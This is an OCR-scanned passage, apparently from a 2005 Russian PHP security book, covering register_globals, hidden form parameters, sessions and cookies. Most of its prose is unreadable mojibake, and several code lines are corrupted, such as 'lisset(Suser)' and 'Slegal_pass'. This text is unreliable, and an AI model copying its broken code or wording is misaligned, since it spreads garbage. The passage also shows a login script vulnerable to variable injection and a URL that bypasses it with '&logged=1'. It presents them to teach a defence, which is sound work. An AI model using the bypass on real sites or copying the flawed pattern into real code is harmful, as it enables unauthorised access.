[Ipu 3TOM BbI HO/DKHBI YHUTHIBATh, YTO HA3BAHUE KHOMKM B CLEHAPUM HE M3ME-
Hsietcs. Jlaxe mpu nepBoii 3arpyske cTpaHMLbl, 0 TOTO, Kak MOJb30BaTelb HA-
KT KHOMKY OTMPaBKH JaHHBIX, 3HAYEHHE YK€ PABHO "Go".

XoTst MpH MCIIO/NIL30BAHMHM METO/Id POST MapameTpsl He BuaHbI B crpoke URL, He
cTouT 3a0BIBaTh, YTO 3TH NapameTpsl HeOedonacHsl. Takue maHHbBIE TAKKE MOXKHO
MoaudHLIUpOBaTh, NpocTo Tpebyercst uyrh OOMblIE YCHIHIT, HO 3TO HE OCTAHOBHUT
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xakepa. Meron POST HeoOXoIMM B TOM cjiyyae, Koraa Bel XoTuTe, uto6hl napa-
METPBI MPH nepenave He otobpaxanucs B erpoke URL, u nocropoHHui He cMmor
HX NMpoYuTaTh ¢ 3KpdHa MOHHTOpA. Ho NpH 5TOM BBI JOJLKHBI VACHATE 3THM Mna-
paMeTpaM HE MEHLIIE BHUMaHMA U NPOBEPHATH HA J0ObIe OTKJIOHEHUS W Heno-
NYCTHMbIE CHMBOJIBI, O YeM MBI OyIeM roBOpUTH B pasdeae 3.5.

2.12.5. YasBumocTb NnapamMeTpoB

Ipu pabote ¢ mapamerpamyu HyXHO GBITB OYeHb akkypaTHbIM. Eciu B KoHDHUry-
paurMoHHoM ¢aitne php.ini ycTaHOBJIEH MapaMerp register_globals, TO cO3J1a-
10Tcsl robanbHble MepeMeHHble. DT0 MOXET OKa3aThCsl NPHYHHOH YSI3BHMOCTH
TIPH HEBHMMATEJILHOM TpOrpaMMupoBanuu. PaccMoTpuM ys3suMocTh Ha fipuMepe:
<form action="testpass.php" method="get">

MuA: <input name="username'>

Napons: <input name="password">

</ form>

if ($password== Slegal_pass) and (Susername==5legal_name)
$logged = 1

if ($logged)
{
/ /llons30BaTesnt aBTOPMIOBAH

}

Jlornka pabotbi npumepa gocraroyHo npocra. CUEHApHIO NepealoTes aBa rnapa-
MeTpa: Susername U Spassword. EciiM OHH COOTBETCTBYIOT mapameTpam Jieraib-
HOro MOJNb30BaTeNsA, TO NEPEMEHHOI $logged npucBauBaercs 3HauyeHue 1. IMocse
3TOrO MPOMCXOAUT MPOBEPKA 3HAYEHHUs NepeMeHHON $logged: ecii OHO paBHO 1,
TO aBTOPHMIALMSI TIPOILIA YCHEUIHO ¥ MOXHO BBINOJHATE 3aKPHITHI KOA.

Crpoka URL, koropast 1oJpKHa HCIOIB30BaThCs WA TAHHOTO NpHMEpa:
http://192.168.77.1/testpass.php?username=admin&password=pass

Yro monyuures, ecnu xakep nobasut B 3tor URL mapamerp logged:
http://192.168.77.1/testpass.php?username=admin&password=pass&logged=1

Ja, Takoii nmapamerp He nepeaaercsl ¢ MOMOILBI (GOPMBI, HO 3TO HE 3HAYMUT, YTO
MBI HE MOXEM ero ucronb3oBaTe. Bel Brpase nepenats Jo6oii mapamerp, aaxe
TOT, KOTOpPHIl He Ucroas3yercss B cueHapuu, u uHrepnperarop PHP oGszan 6y-
[eT CO31aTh TAKYIO MepeMEeHHYIO.

B Hamem npumepe repei CTAPTOM CLEHAPHSI UHTEPIIPETATOp CO3[AeT NepeMeH-
HYI0 $logged W npucsaupaer eil 3HaueHue 1. Temeps cuenapuit paGoraer ¢ Ha-
jnielf nepeMeHHol, KOTOpoil yke NMPUCBOEHO 3HAYEHUE M0 YMOJMAHWIO, 4 3HAYMT,
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[AaXKe EC/IM MPOBEpPKAa UMEHM M Mapos JacT OTPUUATEAbHBIH Pe3yabTaT, NpoBepKa
3HAYeHUsl MepeMeHHol $logged Ha PABEHCTBO eAMHULIC OYHET MONOKHTEABHOH,
M XaKep YBUIUT 3aKpPbITHIe NaHHbIE.

Ha nepselii B3rIs, BatoMars clieHapuil Yepes nepeMeHHbIe Z0CTaTOUYHO MPOCTo.
Ho s aToro xakep noMXeH MMEThb JOCTYM K UCXOIHOMY KONy CLeHapusi, YToObl
3HaTb, KaKUE MEPEMEHHBIE WCMOJbL3YIOTCS B CLEHAPUM, U MMETh BO3MOXHOCTEH
noanenars MX. Eciu Teker cueHapus 3allMIiueH, TO yragarb, KakoW mapamerp
HYXKHO NMOJIeNaTh, NPaKTHYECKH HeBo3MOXHO. Ho eciu Bawl cueHapuii npuHai-
aexut K Tuiry Open Source, TO TYT yke BO3HUKAIOT MPoGIeMBl.

Kak ux pewars? EcTb aBa BapuaHTa:

1. YcraHoBUTH 3HAYeHWE IMPEKTUBH register_globals B off M MCMOJIb3OBATEH
mMaccuBbl. B aToM ciiyyae mepeMeHHasl $logged M3 CLEHApMS M TNepeMeHHast
U3 MaccuBa napamMerpoB OyAyT pasHbIMHM, M NoaoOHBI B3JTOM OKKETCS He-
BO3MOXHBIM.

2. MHuuManusupoBarh repeMeHHbIe, KOTOpbie He JOMKHBI MepefasarbCsi or
nons3osarens. S npeanovyuTald 3TOT cnocob, MOTOMY YTO OTKA3bIBaThCA OT
IIOOATBHBIX MEPEMEHHBIX HE XOYETCs, @ WHULMAIM3ALMs 1mo3BossieT addex-
THBHO 3alMTUTBECS OT B3jjoMa. Beerna npousBoauTe WHHLMATH3ALKIO B CAMOM
Havyaye cLeHapus.

Cnenyiou.mﬁ NPpUMEP NMOKA3LIBAET, KAK C MOMOIIBI0 HHHUIMATH3AUWH 3alIHTHTECA
OT B3JlOMa YE€pe3 rnepeMeHHbIe:

<form action="testpass.php" method="get">

Mma: <input name="username">

Mapone: <input name="password">

</form>

$logged=0;
if ($password== $legal pass) and (Susername==S$legal_name)
Slogged = 1

if ($logged)
{
//Tlons30BaTeN: aBTOPU30BaH

}

axe ecnu xakep MoffefsaeT MepeMeHHyio $logged, B caMOM Hayase CLEHApWst
MbI MPUHYANXTENBHO MPOTIMIIEM B Hee 3HavyeHue 0, ¥ TONLKO B ciydyae ycreurHoil
NPOBEPKY UMEHH TOIb30BATEINSl U MAPOJs 3HAYEHUE $logged MIMEHMTCH Ha 1.

PaspaGoruuku PHP pewwim He Hazesrscs Ha npodeccuoHanmsm  Web-
MPOrpaMMMCTOB M MO YMOMYAHHIO OTKIIIOMWIIM NUPEKTUBY register_ globals.
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Eciu Bbl yBepeHbl, 4TO He YMyCTWJIH HH OHHONM MHMLUMATH3ALMK, TO MOXeTe
BKJTIOYUTE 3TY IHPEKTHBY.

2.12.6. CkpbiTble NnapameTpbl

Hukorna He gosepsiiite ckphiThiM napamerpam! Kpacusoe wauano pasgena? Meii-
CTBUTEJIbHO, CKPBITBIM NMapaMeTpaM [I0BepsATh HE CTOHT, MOTOMY YTO M3MEHHUTH MX
oueHb jerko. JloctarouHo ToJibKO coxpaHuTh Web-ctpaHuiy Ha cBoeM OHcke,
TIO/IKOPPEKTHPOBATE NMONE action, YTOOBI OHO NMPAaBMJIBHO YKA3LIBANO HA ClEHA-
puii cepsepa, U, U3MEHHUB MAPAMETP, BBIITOJIHHUTD €ro.

XoTst Mbl TAK HETATHBHO HAYAIM PACCMOTPEHHE CKPBITHIX MapaMeTpoB, WX MUC-
MoNB30BATh MOXHO, MPOCTO HENb3s MM [NOBEPATh, MO3TOMY HaBaifTe 0OCyIUM,
Kak ybupaTb napamMeTtphl ¢ a3 AoJ0i OoT AoOponopsao4HLIX Mojab3oBaTeneil M
HAaYMHAOIMX XakepoB. [lelcTBUTE/IBHO, MHOIMA HYXHO Nepeirartbh OT CTPaHWLbL
K CTPaHHLE KaKylo-TO cayxeOHYI0 HHGMOPMALINIO U HE XOUeTCs MCTOIb30BaTh s
storo cookie. B aTux caydasx co3naioT HEBUAMMBIN mapaMerp ¥ 3TO MOXHO clie-
JIaTh HECKOJMLKUMHU criocobamu, KOTOPbIe HAM MpPeACTOMT Ceiiyac pacCMOTpPETh.

[TepBeiii MeTOx — co3aaTh Moje BBoAA THMA hidden:
<form action="param.php" method="post">

<input name="UserName">

<input type="hidden" name="HiddenParam" wvalue="00000">
</form>

[Tonst BBOAA, ¥ KOTOPLIX B NapamerTpe type YKa3aHO hidden, He 6yayr orobpa-
xarbesi. Ho B maHHOM ciyuae cueHapuit param.php, koropomy ¢opma nepenaer
JaHHble, YBUIUT MepeMeHHYI0 $HiddenParam, COAEPXKALLYIO NATh HYy/eH.

CJIGIL)"IOIHHﬁ NPpHUMEP MOKA3bIBAET, KAK CIEJIaTh TO ke caMoe, HO HAMHOIO MNpoLILe:
<form action="param.php?HiddenParam=00000" method="post">
' <input name="UserName">

</ form>

Kakoii u3 crnoco6oB BeiGepeTe Bbl, 3aBUCHT OT JIMYHBIX npeanoureHuil. S crapa-
10Ch HE MCIOJB30BaTh HU OIMH M3 HHUX, a JOBepaThbes (aitnaM cookie mmM Xpa-
HUTH TIApaMeTpbl Ha cepBepe, YTO HEMHOTO CIOXHee, HO NP TPaBUAbHOM MOI-
xozie ropasno Gesonachee u pabGoraer B moboM ciyuae, Aaxe eciy MOAb3OBATENb
OTKIIOYMT Y cebst B Gpaysepe noiaepkKy aiiios cookie.

2.13. XpaHeHne napameTpoB nonb3osarens

IMporokon HTTP He moanepxuBaer MIHTENbHbIX coenuHeHuit. [l noaydyeHus
kaxoro ¢aiiia crpanuiiel (cueHapus, pucyHka, Flash-anumauuu u 1. 1.) or1-
KpbiBaeTcsi Hopoe coenuHeHue. TakuM obpasom, cepBep HE MOXET KOHTPOIUpO-
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BaTh, YTO ClIEHAPUI W KapTHHKY 3anpocH OAMH W TOT XK€ MOJIb30BaTe/lb, ITOTOMY
YTO N9 Hero 3To Byayr pasHble coeaHMHEeHUs.

IMepexonbl Mexay CTpaHHLAMH TAKXKE CO3AAIOT HOBBIE COEIMHEHWSI C CEPBEPOM,
M03TOMY CTPAHULLI HE MOTYT GbITh CBSI3AHBI MEX1y coBO0il M MMETh 0DLINX napa-
MeTpoB. YToObI COXpAHHMTbL 3HAYEHHWSI MAPAMETPOB MPH MeEpexoie OT CTPAHMLIEI
K CTPaHMIIE caifTa, MOXHO MCIOJIB30BATh TPU BapuaHTa:

O cookie — caiiibl, KOTOpbIE XPaHATCS Ha KoMMbioTepe KiueHTa. OHM MoryT
OBITE:

e BpeMEHHBIMH — XpaHATCH B MaMsTH KOMIbLIOTEPA KJIHEHTa B TEYEHHE OIl-
PEACTIEHHOr0 COEIMHEHUS C CEPBEPOM;

® [IOCTOSIHHBIMH — XpaHATCA HA JKECTKOM IUCKE MOAb30BATENS [0 YKa3aH-
HOIo MepHoia;

O ceaHcsr;

(0 cobeTseHHbIE peaTM3alMy COEAMHEHM, NMPU KOTOPBEIX HeobXxomuMble napa-
METpbl COXPAaHSIOTCA B onpeneiaeHHoi tabnuiie 6asbl AaHHBIX U NPUBA3bIBA-
I0TCS K KITHEHTY.

[lpu nepexojie OT CTPAaHMIILI K CTpaHHLe Heobxommmo "TaHyTh" 32 coboii mapa-
METpbI MOJIb30BATE/SA, MOTOMY YTO ABTOMATHYECKH OHU HUIJE HE COXPaHAIOTCH.
HonycTum, Yyto Ha BalleM caiiTeé €cTh BO3MOXHOCTb JIMHAMHYECKONH CMEHBI M-
3aiiHa. Ha omHoi cTpaHuue noceTuTeNb caitta BHIOpAIL ONpejieSIeHHYI0 LUBETOBYIO
cxeMmy. Tereps npH 3arpy3ke 11000 cTpaHWIILI ¢ Ballero caiTa JA0/KHA HCMOAL-
30BaThCsl TA XK€ LIBETOBasl cXema, a 3HAYUT, OT CTPAHUUBI K CTpAaHULE HYXHO Ie-
pelnasarb HOMep WIH Ha3BaHHE CXEMBI.

He nmomemana 651 BO3MOXHOCTB JOJTOBPEMEHHOTO XpaHEHUs, HA ciyvai, eciu
TN0JIb30BATENb BEPHETCS HA CaiiT yepe3 Kakoe-To Bpemsi. [IpustHo Byner yBuuers,
YTO BCE HACTPOIKM COXpaHWIMCh H HE HAIO CHOBA HACTPAMBATHL CAlT.

Ipexne yeM 3HAKOMMTBECS cO criocobamMu peajM3allMy XpaHeHUs NAaHHBIX, Heob-
XOJIMMO OIpeAeNUTHCS, JUISl Yero U Kakue JaHHble Mbl XpaHuM. TyT Jyyure Bcero
WX PasgeuTh Nno J0ATOCpOYHOCTH XpAHEHHS H ITO BAXKHOCTH:

O nepemeHHbIE, KOTOPBIE HYXKHO XPAHHTh, MOKA MONb30BaTeb HE YKAXKET HHOIO
3HayeHus. K TAKMM MOXHO OTHECTH HACTPOIKM caifTa, nmapamMeTpbl KOP3uHsI
MOKYNOK B WHTEpHeT-MarasuHax u T. 1. Takue JaHHble HYXKHO COXPaHATH fa-
Xe rocJjie Toro, KaK nojib30Barelib 3aKoHYMI paboTy Ha caiiTe W BepHy/ca Ha
HEro Yepe3 OnpeieNeHHOe BpeMs;

0O naHHBIE ONMpeleNieHHOro ceaHca. ApKUM NMpUMEpPOM SIBISIETCS MMST TONb30BA-
Tensi. Ecii Ha caliTe ecTh aBTOpU3aliMsi M IMOJIb30BATENlb BBEJl CBOE MMS, TO
MpH Mepexoie MeXny cTpaHuLaMH MUMs NO/DKHO coxpausaTbesa. Ho ecnu mnosnb-
30Bareib 3aKoH4YWA pabory ¢ cailToM (3akpbul Opay3ep) ¥ 4Yepes Kakoe-To
BpeMsl BepHYyJIcsl Ha Hero, aBTOPM3aUMs J0/DKHA MPOMCXOAWUTh 3aHOBO, YTO-
6B XaKkep He CMOT NO/e/aTh NapaMeTpsl ceaHca U BOCIMOJL30BATLCS YYKUM
AKKayHTOM.
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Mt KPaTKOBPEMEHHOTO XPAaHEHMs! NAaHHBIX Jiyullle BCEro MOAXOAST CEAHCOBhIE
NEpEMEHHBIE, a sl NOJTOBpEMEHHOro XpaHeHUA HACTpOoEK KIHeHTa MOXHO HC-
nosib30Batk (aitjel cookie.

2.13.1. CeaHchl

PaccMorpiM napameTpbl Ha mpumepe caiita ¢ asropmaauueit. Korma nonbsosa-
TeJIb BBOAMT CBOE MM, JIOJDKEH HAYMHATBLCS ceaHc. Ternepb MBI MOXKEM MCHOJb-
30BaTh ceaHcoBble nepemeHHnie. lng 3anycka ceaHca Menoibiyercs (GyHKums
session_start (). Eciu (yHKUMS BBIMOMHMIACH YHAYHO, TO pe3yabTaroM Oymer
true, HHauUe false.

Teneps HeobGxonumo coobimts uHTepnperaropy PHP, kakue nepeMeHHBIe HYKHO
coxpaHsTh B ceaHce. [Lnsa aToro ucrnonesyercs (hyHKIMSA session_register(), KO-
TOpPOil B KayecTBe apamerpa nepenaercss umsi nepemeHHoil. Ilocne sroro Bce
MepeMeHHbIE, KOTOPLIE Bbl MOMECTHIIM B ceaHc, OyayT JOCTYMHBLI CO BCEX cTpa-
HHLl BALLEro caifta B TeYeHHe BCEro ceaHca.

Pacemorpum npumep ceawca. Lng aroro coznamum caitn session.php, B kotopom
Oyzner ¢opma g BBOAA MMEHH MONL3OBATENS, & 3TO MMsI OYHET COXpaHATLCS
B ceaHcoBoil nepeMeHHoW (tMeTuHr 2.17).

g
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<?php
if (session_start())
{
print ("OK") ;
}
Suser=5UserName;
session_register("user");

?>

<form action="session.php" method="get">

s nonesomRaTens: <input name="UserName'>
<input type="submit" name="sub" value="Go">
</ form>

<a href="sessionl.php">This is a link</a>

O6parure BHumanune, yto PHP-koxn pacrnionoxeH B caMoM Hauaie. DTO BAXHO.
Yrob6bl He ObUIO mMpobieM, Kom perHcTpallHi NepeMeHHOM MOMKeH CTOSTh B ca-
MOM Hauane, no kakux-nmuoo HTML-teros. A xakue MOTYT BOHUKHYTHL npobnemsi?
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Ecnu 1o cospanus ceanca Oymer uarm HTML-kon, To Bo3HUKHeT olInOkKa,
U nepeMeHHaa He Oyner cosuaHa.

®dopma s BBOJA WMEHH TONB3OBATeNsi nepenaeT AanHbie camoit cebe. Ilpocro
HE XOUeTcsl YCIOXHATD 3aauy M cO34aBaTh JTHlIHKUE dhaiinbl.

PHP-kox cosnaer ceaHc, ¥ ecnd BCe MPOLUIO ylAa4yHO, TO HA (hopMy BHIBOAMTCS
coobureHe OK. Tlocne sToro cosnaercsi nepemeHHasi $user, B KOTOPYIO KOMUpY-
eTcsl UMs, BBENEHHOE MoJib3oBaTesieM, XpaHsuieecss B MobanbHOM IepeMeHHoI
$UserName. )

Ha copme Takxke ecth cceuika Ha (aiis cuenapus sessionl.php. Ilpu nepexone
10 3TOW cchblike OYHET BBINOJHATHCH CLEHAPHIA, B KOTOPOM MBI oOpaTtumest K ce-
aHcoBoll mepeMeHHoM. B atoMm daitne Oyaer cnenyroumit Koa:

<?php
session_start();
print ("<P>3ppascreyitTe: $user");

>

B nepBoit cTpouke Mbl 3anycKkaeM CeaHc, U B 3TOT MOMeHT WHTepnperatop PHP
onpenenser uaeHTdUKaTop ceanca, Bo BTopoli cTpoyke Mbl BBIBOJMM HA DKPAH
COIEPXUMOE NEPeMEHHON Suser.

3anycrute B Gpaysepe daitn cueHapus session.php. Beeaure umsi nonb3osarens 1
HaxMuTe KHonky OK. B aror MoMeHT ceaHcoBoit nepeMeHHOW OyaeT rMpucBoeHO
sHayeHue. Teneps nepeiauTe mo ccbUike M ybeautech, uTo aitn sessionl.php
otobpaxaeT BBefieHHOe MMsl. XOTs Mbl He MepenaBaiy BMECTE CO CChUIKOWN 3Ha-
YeHHe TepeMeHHoi, cueHapuit sessionl.php BUIMT 3TO UMS U oTODpaxaer ero Ha
KpaHe,

CeanHcoBble nepeMeHHbIe aBTOMATHYECKH coxpaHsiorcesa uHtepriperatopoM PHP,
M HaM He HYXHO HM O yeM 3aborutbes. Ho Kak J1o/iro aaHHble GyILyT COXpaHATL-
cst? [lpoBepuTh JOCTaTOYHO TPOCTO — 3aKpoiTe Opay3ep ¥ CHOBA 3arpy3nTe
daiin sessionl.php. Ha aror pas uMmeHu nonb3osarenst HeT. XoTsl BpeMEHH Mpo-
LIJI0 HEMHOTO, HO CEaHC M3MEHWJICsl, U Terephb NnepeMeHHas nycra. DTo 3HAYHT,
YTO MPH KaXIOM 3alycKe cO3[aeTcsl HOBhbIi ceaHc.

Henocrarok daiina sessionl.php — Her NpoBepKH, YCTAHOBIEHA JIM NEPEMeHHas.
[Hagaiite MoguduunpyeM Ko, KaK NOKasaHo B aucTuHre 2.18,

<?php

session_start();
7>

<HTML>
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<HEAD>
<TITLE> Test page </TITLE>
</HEAD>

<BODY>

<?php
if (lisset(Suser))
{
die("Tpebyerca aBTopmsauma");
)
print ("<P>Hello: Suser");

>

<hr>

<center>

<p>Hackish PHP

<br>&copy; Michael Flenov 2005
</center><P>

</BODY>

<HTML>

B atoM npumepe BUIHO, YTO ceaHc coslaercsi B caMmom Havane cpaitia. Koa npo-
BEPKH W MCMONB30BaHUsl CEAHCOBOM TMEPEMEHHON HaxOOMTCS YK€ B CEepeluHe
daiina cuenapusi. s npoBepkH, ycTaHOBJIEHA JIM NepeMeHHas, 1 HCIONb30BaI
¢yHkunw isset (). Ecin nepeMeHHas Suser He cyulecTByeT Juisl ¢haitia cueHa-
pus, To byHkuma BepHeT false. [lpu nposepke Mbl yKasanu cMMBOJ OTPHLAHUS
(BoCKJIMLIATENbHBIH 3HAK), 4 3HAYUT, €ciM TepeMEeHHAasi He CYIeCTBYeT, TO Bbl30-
Bercs (PyHKLMS die() € cOODLIEHHEM O HEOOXOIMMOCTH aBTOPU3ALMM HA caiiTe.

OueHb BaXHO MOHUMATH, YTO MEPEMEHHbIE CO3AAIOTCS, TOMBKO €C/IM B KOH(HUIY-
pauuoHHoM daiine php.ini IMpekTHBa register_globals YCTaHOBIEHA B 3HAYe-
HUe on. B npotnHOM ciyvae, He yaactes UCIONb30BATh NEPEeMEHHBIE, HO MOXHO
obparuThes K MAaccHBy $_SESSION. Toraa Koi co3iaHus CeaHcoBOH nepeMeHHOM
Oyner BhIMISHAETH CAEAYIOUMM 0BpasoM:

<?php
if (session_start())
{
print ("OK") ;
}
S_SESSION["user"] = $UserName;
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?>
<form action="session2.php" method="get">
User Name: <input name="UserName">

<input type="submit" name="sub" value="Go">
</form>

<a href="session3.php">This is a link</a>

JUtsi TecTHpOBaHUS NPUMePa COXPAHNTE STOT KoJ B chaiine session2.php.

Yrobbl BOCMOJL3OBATECA MEpeMeHHol, coznanum daitn session3.php co crenyio-
IIHM CONEPXKUMBIM:

<?php
if (!isset($_SESSION["user"]))
{
die("Authorization required");
}
$t = $_SESSION["user"];
print("<P>Hello: $t");
7>

Orkyna unrtepnperarop PHP 3uaer, yto ceiiuac mjer onpeneieHHbId cealc
M 4TO Mocie 3aKpeiTHsi Gpaysepa ceaHc 3aepuiaercsi? Y Kaxjioro ceaHca ecrb
ceoit upeHtugukarop SID (Session ID). Tocne 3anycka ceanca 3ToT WASHTH(DM-
Karop coxpausiercss B cookie, M Kaxias 1nocjeayiouias CTpaHuua rocjie BbINOI-
HeHust (DYHKIMK session_start() Haxomut 31oT SID M uepes Hero mojiyuaet
JIOCTYI1 K CEAHCOBBIM MapaMeTpam.

Bce xopouro, Ho HeKOTOpbIE MMONB30BATENH OTKIIOYaloT cookie H3-3a 6OA3HH, 4TO
caifThl coOMpaIOT Kakyio-To HHQOPMALIMIO O rnojib3oparensix. S cYuTalo, 4To 310
napaHoita. Hy, y3HaeTr paspaboTyMK caiita, Kakue s CTpaHulibl HOCMOTPEN, HY H
yro? OH ¥ Tak y3HaeT, MOTOMY YTO CEaHCHI MOXHO peanu3oBaTe M 6e3 cookie.
Wnentnduxarop SID co3naercsi B m10060M ciyyae, 1 ero MOXHO Nepenasars J110-
Ooit cTpaHMlIe Yepe3 napaMeTphl POST WM GET, a BCE MepeMEeHHBbIE XpaHHThL Ha
cepsepe B Dase naHHBIX, B KOTOpoil nojb3oparenb Oyaer maeHTH(hUUMPOBATHCS
no SID. MHrepHeT nocTpoeH Ha OTKPITHIX CTAHAAPTaX, 4 3TO U €CTh OCHOBHAs
npobsiema. Henb3s 3aUIMTHTECA OT OTKPBITOrO, 4 OTKIIOYeHHe ynobcTs He NoMo-
XKeT pelluTh npobnemy.

3anyctute cpaitn session.php u BeeauTe UMs nNojb3oBarens. [locMmorpuTte Ha
crpoky URL-anpeca, oHa M3MeHWIACH Ha:

http://192.168.77.1/1/session2.php? PHPSESSID=
8a22009f72339¢71525288b33188703d&UserName=Tet
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B URL ectb napamerp PHPSESSID, KOTOPBIH Kak pas W sisisiercst uinentudukaro-
pom SID.

Unentudmkarop Mmoxuo aobasuts K URL sisHbiM obpasom. B cnenyioiiem npu-
Mepe B KauyecTBe ainpeca, Ha KOTOphIH mepenaiorcst aaHHble (OpMBL, yKa3aH
session2.php?<?=SID?>:

<form action="session2.php?<?=51D?>" method="get">
User Name: <input name="UserName":>

<input type="submit" name="sub" value="Go'">

</ form>

KoHeTpykims <2=51D7> siBisercs yKasaHueM Ha To, YTo HyxHo nobasuth B URL
nnentiguxarop SID.

Ecin BbI PEIIWIIM  pEANIH30BaTL CCAHCOBBIC MNEPEMEHHDBIC 6e3 MCroah30BaHKUA
cookie, TO Bbl AOJKHBI YYWTHIBATh, 4TO oTOBpaxenue uaeHtudukaropa 8 URL
naneko He 6esonacHo. Ecam xakep ysuant SID oanoro u3 mosb3oBarteseif, To oH
cMoXeT repexsaTuTh ceaHc. [a, sanoMHHTL SID BO3MOXHO TOJILKO TEOpETHYE-
ckH. CpeHeCcTaTHCTHYECKHIT YeoBeK He cymeeT OBICTPO 3allOMHHUThL TAKOE KO-
JIMYECTBO HE MMEIolMX cMmbicna 6yks W uudp. Ho 310 HE 3HAYWAT, YTO Bbl
B OesonacHocrd. [lepexsar maeHTH(dNKATOPa MOXHO CHENaTh M MPOrpaMMHO.
Tposiickas nporpaMMa MOXeT BBIAEIUTH HYXHYI0 vacTh wm Beck URL-anpec u
MepeaaThb ero Mo CeTH 3NIOYMBILUIEHHHUKY.

JlonycTuM, 4TO Ha BalleM caiTte ecTh opyM, B KOTOPOM OIpeNeeHHBIE MOMb30-
BaTEIM TMOCHE ABTOPU3ALUMU [OAYYA0T BO3IMOXHOCTH paboTsl € cueHapusiMu
ynpasieHust popymMoM. AnMUHHCTpaTOp, Boiins Ha ¢opym, nomyyaer SID, u no
HeMy CUCTeMa BBUIENsieT aAMMHUCTPATOpA cpeau BceX ocTanbHbiX. Ecnau xakep
CMOr MepexBaTnTb HAEHTH()HUKATOP, TO OH TAKKE MOXET MOJY4HTb MMpaBa aaMHHH-
cTparopa, a 3TO YK€ IPO3UT MoTepeil KOHTposis Hal (opymMoM, @ MOXET ObIThb,
M Haln BceM caiiToM. Xyxe OVIeT, ecid Xakep CMOXET MepexBaTUTh ceaHc, B Ko-
TOPOM MONb30Barelb paboraer co CBOE KpeAWTHON Kaproukoil (Hanpumep,
CceaHc B JIEKTPOHHOM MarasuHe), W COEJIMHEHHE MPU 3TOM Ipoucxoant Oe3
luppoBaHus Tpacgpuka.

Takum obpasom, cookie HamHoro GesonacHee Ui CEPBEPOB, 4 3HAYNT, W LA
rionb3osareneit. Ilyers dpupmel MoryT onpeinenuts, rae Mbl nobeisanu 8 UaTep-
HEeTe, HO 3aTO XakepaM OyleT cloXHee MepexBaTHTh HAllW 3aKPbIThiE CEAHCHI.

Yrobel nonslosatenu He Gosuick Gaiiios cookie na sawem caiite, oba3aTelIbHO
pasbsicHUTe UM, 4T0 cookie HeoOxonumel ans obecneveHuss ux nuyHoil HGesonac-
HOCTH W He MCTONb3YIOTCS B KOPBICTHBIX Lesx, Hanpumep, wig cbopa undop-
Mauuu U T. O.

2.13.2. Cookie

B pazdese 2.13.1 Mbl 1OCTATOMHO MHOIO Y2Ke rosopuwiu o6 sTux daiinax, Ho noka
HE YCTAHABJMBAAM MX Bpy4Hylo. Bce aBTOMATHUECKM BBIMOIHSI WHTEPNpPeTarop

4 sk 1315
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PHP mns noanepxku ceancos. Ho daitnsl cookie MOTyT MpUroauThes HE TONBKO
JUISI CEAHCOB, MOATOMY flaBalitTe ux paccMoTpuM bojee noapobHoO.

Cookie, KaK MHHHMYM, JI0/)KEH COCTOSITh M3 MMEHW Mapamerpa, KOTophlit HyXHO
ycraHoBuTs. Ho MoXer o6ranarb W JAOTIONHHTEILHBIMH CBOWCTBAMMU.

O 3HayeHue mapaMerpa.

0 [lara ucreueHus cpoka roaHoctu. Eciu sToT mapaMerp He 3amaH, To cookie
Oyner yoareH cpasy nocie 3akpbitusi Opaysepa. Ecau nara 3amada, To napa-
METPBI W 3HAYEHUst OyayT HOCTYMHBI CLIEHAPUIO 0 MCTEYEHMs YKA3aHHOTO
Bpemedd. ITocie sToro KiMeHT He Oylder HAMpaBlATh CEPBEpY ycTapeBIUWA
chaiin cookie.

O Ilyrtb, KOTOphIi onpenessierT, B KAKOK YacTH HOMEHA MOXET UCNoIb30BaThCs
nauHblit daiin cookie. Tyr ecTh 0MH O4YeHb MHTEpecHbIH HioaHc. Jonycrum,
Y4TO y Bac ecth cait www.hostname.com/myname. Ecnu B kauecTse IMyTH ykasaTb
/myname, To JOCTyn K napamerpam cookie GyayT WMeTb TOJIBKO CLIEHAPHH 3TOr0
karanora. Ho ecnu B koHue moGasuth ciaw (/myname/), To ¢ cookie cmo-
ryT paborarb ¥ MOAKATAIOrM, Hanpumep, www.hostname.com/myname/admin/.
MoXHO OrpaHM4YMTH DOCTYM TONBKO ONpeleNeHHbIM cueHapuem. s 3Toro
B KayecTse IYTH HYXHO YKa3arb nNyte K aiiay cueHapus, HanpuMmep,
/myname/index.php. Hy, a eciu npocro ykasate ci3il, TO HocTyrn K cookie
Oynyt umers abeosoTHo Bee. [1o yMouaHHio HEnoab3yercs TeKYIHH KaTajior
clieHapus, KOTOPbIH ycTaHaBuBaer cookie.

O [domeHn no3BoJsieT yKa3aTh, Kakhe JOMEHbl MOTYT HCMONb30BaTh HMHGOPMALMIO
u3 caitna cookie. Hanpumep, BronHe JOrMUHBIM Oyaer paspeliuTb HOCTY
TOJNIbKO CLIEHAPHSIM, PACMOJIOXEeHHBIM B goMeHe www.hostname.com/. Eciau y
BALLIETO CaiTa €CTh HECKOJBKO MNceBnoHUMOB (Hanpumep, wwwl.hostname.com
uau flenov.hostname.com, To B KauecTBe MMEHM JAOMEHA MOXHO ykasarh host-
name.com, yroGbl Bce cajitel B JomeHe hostname.com morim ysupers cookie.
IMo ymomyaHuio GyierT MCMOAB3OBATHECS JOMEH CepBepa, KOTOPHIH YCTaHOEMI
cookie.

O TocnenHuit mapamerp Mo3BOJALT YKa3aTh, YTO AaHHBIE cookie HOMIKHBI nepe-
nasathesl TOJNBKO yepes GesonacHoe coenurenue HTTPS. Yepes orkpeirsiii
nporokon (6e3 wucposanus) HTTP daitn He moxer GuiTh nepeaas. Ilo ymon-
yanu1o ucnonbzopaiue HTTP paspeletro.

A He 3ps paccMaTpuBaJl 3TH CBOMCTBA MMEHHO B TaKOM MOpSIIKE, MOTOMY 4TO
MMEHHO B 9TOM MOPANKE YKA3LIBAIOTCS COOTBETCTBYIOLUME MapaMeTphl MpH co3-
naHuu cookie. Mtak, nns co3gaHus ucronb3yercs GyHKUHS setcookie(), KOTO-
pas B obLUEM BHJIE BBIIAIUT CHAEAYIOIUM 0bpasoM:
int setcookie(

string cookiename

[, string value]

[, integer lifetime]
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[, string path]
[, string domain]
[, integer secure]

)

[MocMoTpuTte Ha napamerpbl. [TepBEIA — 3TO UMS TEpeMEHHOI, KOTOPYIO HYXKHO
3anucarb B cookie, U oH siBsieTcs obs3are/ibHbIM. OcTanbHble napameTpsl Heobs-
3aTeJIbHBI:

O value — 3Ha4YeHUE NepeMeHHOI;
0 lifetime — BpeMs XHU3HHU;

O path — AOyTs;

0O domain — [IOMEH,

0 secure — napametp besomacHocTd. [To ymMoOnuaHHMIO paBeH HY/IIO, HO ECHIM
ycTaHoBuThb 1, To no orkpsitomy nporokony HTTP nepenaua daiina Gyner 3a-
IpeLeHa.

